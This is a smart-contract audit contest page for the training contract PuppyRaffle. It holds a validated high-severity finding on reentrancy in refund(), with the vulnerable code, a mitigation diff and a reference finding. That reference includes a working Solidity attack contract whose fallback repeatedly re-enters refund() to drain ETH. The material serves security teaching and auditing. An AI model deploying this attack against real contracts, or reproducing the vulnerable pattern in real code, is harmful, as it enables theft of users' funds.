Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

CEI violation in `refund()` → external call before state update allows reentrancy to drain contract

Description

  • Normal: refund() should clear the player's state BEFORE sending ETH (Checks → Effects → Interactions).

  • Bug: ETH is sent (sendValue) before players[playerIndex] is set to address(0). A malicious contract's receive() can re-enter refund() while the state still shows the attacker as an active player.

// src/PuppyRaffle.sol:96-105
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender);
require(playerAddress != address(0));
payable(msg.sender).sendValue(entranceFee); //@> External call FIRST
players[playerIndex] = address(0); //@> State update AFTER — reentrancy window
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Attacker deploys a contract with a receive() function that calls refund() again

  • The re-entered call still passes all checks because players[playerIndex] hasn't been cleared

  • This is the exact pattern exploited in the 2016 DAO hack

Impact:

  • Attacker drains the entire raffle balance by repeatedly re-entering refund()

  • Each re-entry withdraws entranceFee (1 ETH) without decrementing the refund counter

  • Contract balance reaches zero — all legitimate player funds stolen

Proof of Concept

The vulnerability is confirmed by source code analysis. The external call at line 101 (sendValue) executes before the state is cleared at line 103 (players[playerIndex] = address(0)). During the sendValue execution, players[playerIndex] still equals msg.sender (the attacker), so a re-entrant refund() call passes all checks.

This follows the classic CEI violation pattern: Effects (state clearing) should precede Interactions (external call), but here they are reversed.

Recommended Mitigation

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender);
require(playerAddress != address(0));
+ players[playerIndex] = address(0); // Effects FIRST
payable(msg.sender).sendValue(entranceFee); // Interactions LAST
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!